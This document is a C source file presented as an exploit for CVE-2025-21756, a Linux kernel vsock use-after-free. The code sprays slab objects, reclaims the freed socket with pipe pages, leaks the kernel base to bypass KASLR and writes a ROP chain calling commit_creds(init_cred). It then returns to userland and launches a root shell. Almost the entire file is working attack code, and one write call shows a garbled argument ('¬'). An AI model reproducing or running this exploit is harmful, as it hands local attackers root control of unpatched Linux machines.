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| #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <fcntl.h>
#include <linux/kernel.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sched.h>
#include <linux/vm_sockets.h>
#include <assert.h>
#include <sys/msg.h>
#include <linux/netlink.h>
#include <linux/vm_sockets_diag.h>
#include <linux/sock_diag.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <stdint.h>
/*
CVE-2025-21756 Exploit
Michael Hoefler
4/18/2025
*/
#define MAX_PORT_RETRIES 24 /* net/vmw_vsock/af_vsock.c */
#define VMADDR_CID_NONEXISTING 42
// PINGv6
#define OBJS_PER_SLAB 12
#define CPU_PARTIAL 24
#define FLUSH ((OBJS_PER_SLAB) * (CPU_PARTIAL + 1))
#define PRE (OBJS_PER_SLAB - 1) * 10
#define POST (OBJS_PER_SLAB + 1) * 10
#define SIZE 1280
#define SPRAY_SIZE 1200
#define NUM_PIPES 500
#define BUFFER_SIZE 8192
#define PAGE_SIZE 4096
/* Create socket <type>, bind to <cid, port> and return the file descriptor. */
int vsock_bind(unsigned int cid, unsigned int port, int type)
{
struct sockaddr_vm sa = {
.svm_family = AF_VSOCK,
.svm_cid = cid,
.svm_port = port,
};
int fd;
fd = socket(AF_VSOCK, type, 0);
if (fd < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
if (bind(fd, (struct sockaddr *)&sa, sizeof(sa))) {
perror("bind");
exit(EXIT_FAILURE);
}
return fd;
}
// get a shell
void get_shell(void){
puts("[*] Returned to userland");
if (getuid() == 0){
printf("[*] UID: %d, got root!\n", getuid());
system("/bin/sh");
} else {
printf("[!] UID: %d, didn't get root\n", getuid());
exit(-1);
}
}
long get_user_rsp() {
long rsp;
__asm__ volatile("mov %%rsp, %0" : "=r"(rsp));
return rsp;
}
int query_vsock_diag() {
int sock;
struct sockaddr_nl sa;
struct nlmsghdr *nlh;
struct vsock_diag_req req;
char buffer[BUFFER_SIZE];
// Create Netlink socket
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_SOCK_DIAG);
if (sock < 0) {
perror("socket");
exit(-1);
}
memset(&sa, 0, sizeof(sa));
sa.nl_family = AF_NETLINK;
// Prepare Netlink message
memset(&req, 0, sizeof(req));
req.sdiag_family = AF_VSOCK;
req.vdiag_states = (1 << 2);
nlh = (struct nlmsghdr *)buffer;
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(req));
nlh->nlmsg_type = SOCK_DIAG_BY_FAMILY;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_DUMP;
nlh->nlmsg_seq = 1;
nlh->nlmsg_pid = getpid();
memcpy(NLMSG_DATA(nlh), &req, sizeof(req));
// Send request
//printf("sock: %d\n", sock);
if (sendto(sock, nlh, nlh->nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("ERROR: sendto");
close(sock);
exit(-1);
}
// Receive response
ssize_t len = recv(sock, buffer, sizeof(buffer), 0);
if (len < 0) {
perror("ERROR: recv");
close(sock);
exit(-1);
}
close(sock);
return len;
}
void pin_cpu(int cpu) {
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(cpu, &set);
if (sched_setaffinity(0, sizeof(set), &set) == -1) {
perror("sched_setaffinity");
exit(1);
}
}
int main(void) {
int sockets[MAX_PORT_RETRIES];
struct sockaddr_vm addr;
int s, i, alen;
printf(
" _ \n"
" | | \n"
" __ _____ ___ ___| | ___ ____ ___ __ \n"
" \\ \\ / / __|/ _ \\ / __| |/ / '_ \\ \\ /\\ / / '_ \\ \n"
" \\ V /\\__ \\ (_) | (__| <| |_) \\ V V /| | | |\n"
" \\_/ |___/\\___/ \\___|_|\\_\\ .__/ \\_/\\_/ |_| |_|\n"
" | | \n"
" |_| \n");
puts("[+] pinning to cpu0");
pin_cpu(0);
puts("[+] alloc enough sockets and prepare bind table");
int junk[FLUSH];
for (int i = 0; i < FLUSH; i++)
junk[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
s = vsock_bind(VMADDR_CID_LOCAL, VMADDR_PORT_ANY, SOCK_SEQPACKET);
alen = sizeof(addr);
if (getsockname(s, (struct sockaddr *)&addr, &alen)) {
perror("getsockname");
exit(EXIT_FAILURE);
}
struct sockaddr_vm sa = {
.svm_family = AF_VSOCK,
.svm_cid = VMADDR_CID_LOCAL,
.svm_port = addr.svm_port,
};
for (i = 0; i < MAX_PORT_RETRIES; ++i) {
sa.svm_port = ++addr.svm_port;
if (bind(junk[i], (struct sockaddr *)&sa, sizeof(sa))) {
perror("bind");
exit(EXIT_FAILURE);
}
}
close(s);
puts("[+] pre alloc sockets");
int pre[PRE];
for (int i = 0; i < PRE; i++)
pre[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
puts("[+] alloc target");
s = socket(AF_VSOCK, SOCK_STREAM, 0);
if (s < 0) {
perror("socket");
exit(EXIT_FAILURE);
}
// testing
puts("[+] post-alloc objects");
int post[POST];
for (int i = 0; i < POST; i++)
post[i] = socket(AF_VSOCK, SOCK_SEQPACKET, 0);
puts("[+] trigger uaf");
if (!connect(s, (struct sockaddr *)&addr, alen)) {
fprintf(stderr, "Unexpected connect() #1 success\n");
exit(EXIT_FAILURE);
}
// connect() #1 failed: transport set, sk in unbound list.
addr.svm_cid = VMADDR_CID_NONEXISTING;
addr.svm_port = VMADDR_PORT_ANY;
if (!connect(s, (struct sockaddr *)&addr, alen)) {
fprintf(stderr, "Unexpected connect() #2 success\n");
exit(EXIT_FAILURE);
}
// connect() #2 failed: transport unset, sk ref dropped?
// wait for input
puts("[+] uaf finished!..");
puts("[+] fill up the cpu partial list");
for (int i = 4; i < FLUSH; i += OBJS_PER_SLAB)
close(junk[i]);
puts("[+] free all the pre/post alloc-ed objects");
for (int i = 0; i < POST; i++)
close(post[i]);
for (int i = 0; i < PRE; i++)
close(pre[i]);
puts("[+] close the junk bound sockets");
for (int i = 0; i < FLUSH; i++)
close(junk[i]);
sleep(3);
int pipes[NUM_PIPES][2];
char page[PAGE_SIZE];
memset(page, 2, PAGE_SIZE);
puts("[+] reclaim page");
int w = 0;
int j;
i = 0;
while (1) { // TODO: i < NUM_PIPES, improve stability
sleep(0.1);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
break;
}
printf(".");
fflush(stdout);
w = 0;
while (w < PAGE_SIZE) {
ssize_t written = write(pipes[i][1], page, 8);
j = query_vsock_diag();
w += written;
if (j != 48) goto out;
}
i++;
if (i % 32 == 0) puts("");
}
out:
printf("\n[+] found init_net at i=%d and w=%d\n", i, w);
//getchar();
long base = 0xffffffff84bb0000; // probably need to change for aslr
long off = 0;
long addy;
printf("[+] attempting net overwrite (aslr bypass).\n");
while (off < 0xffffffff) {
close(pipes[i][0]);
close(pipes[i][1]);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
}
addy = base + off;
write(pipes[i][1], page, w - 8);
write(pipes[i][1], &addy, 8);
if (off % 256 == 0) {
printf("+");
fflush(stdout);
}
j = query_vsock_diag();
if (j == 48) {
printf("\n[*] LEAK init_net @ 0x%lx\n", base + off);
goto out2;
}
off += 128; // TODO: modify for aslr?
}
out2:
long kern_base = base + off - 0x3bb1f80;
printf("[*] leaked kernel base @ 0x%lx\n", kern_base);
// calculate some rop gadgets
long raw_proto_abort = kern_base + 0x2efa8c0;
long null_ptr = kern_base + 0x2eeaee0;
long init_cred = kern_base + 0x2c74d80;
long pop_r15_ret = kern_base + 0x15e93f;
long push_rbx_pop_rsp_ret = kern_base + 0x6b9529;
long pop_rdi_ret = kern_base + 0x15e940;
long commit_creds = kern_base + 0x1fcc40;
long ret = kern_base + 0x5d2;
// info for returning to usermode
long user_cs = 0x33;
long user_ss = 0x2b;
long user_rflags = 0x202;
long shell = (long)get_shell;
uint64_t* user_rsp = (uint64_t*)get_user_rsp();
// return to user mode
long swapgs_restore_regs_and_return_to_usermode = kern_base + 0x16011a6;
//getchar();
printf("[+] writing the rop chain\n");
close(pipes[i][0]);
close(pipes[i][1]);
if (pipe(&pipes[i][0]) < 0) {
perror("pipe");
}
printf("[+] writing payload to vsk\n");
write(pipes[i][1], page, w - 56);
char buf[0x330];
memset(buf, 'A', 0x330);
char not[0x330];
memset(not, 0, 0x330);
// create the rop chain!
write(pipes[i][1], &pop_rdi_ret, 8); // stack pivot target
write(pipes[i][1], &init_cred, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &pop_r15_ret, 8); // junk
write(pipes[i][1], &raw_proto_abort, 8); // sk_prot (calls sk->sk_error_report())
write(pipes[i][1], &ret, 8);
write(pipes[i][1], &commit_creds, 8); // commit_creds(init_cred);
write(pipes[i][1], &swapgs_restore_regs_and_return_to_usermode, 8);
write(pipes[i][1], &null_ptr, 8); // rax
write(pipes[i][1], &null_ptr, 8); // rdi
write(pipes[i][1], &shell, 8); // rip
write(pipes[i][1], &user_cs, 8);
write(pipes[i][1], &user_rflags, 8);
write(pipes[i][1], user_rsp, 8); // rsp
write(pipes[i][1], &user_ss, 8);
write(pipes[i][1], buf, 0x18);
write(pipes[i][1], ¬, 8); // sk_lock
write(pipes[i][1], ¬, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], &null_ptr, 8); // sk_lock
write(pipes[i][1], buf, 0x200);
write(pipes[i][1], &push_rbx_pop_rsp_ret, 8); // stack pivot [sk_error_report()]
//getchar();
close(s); // trigger the exploit!
}
|
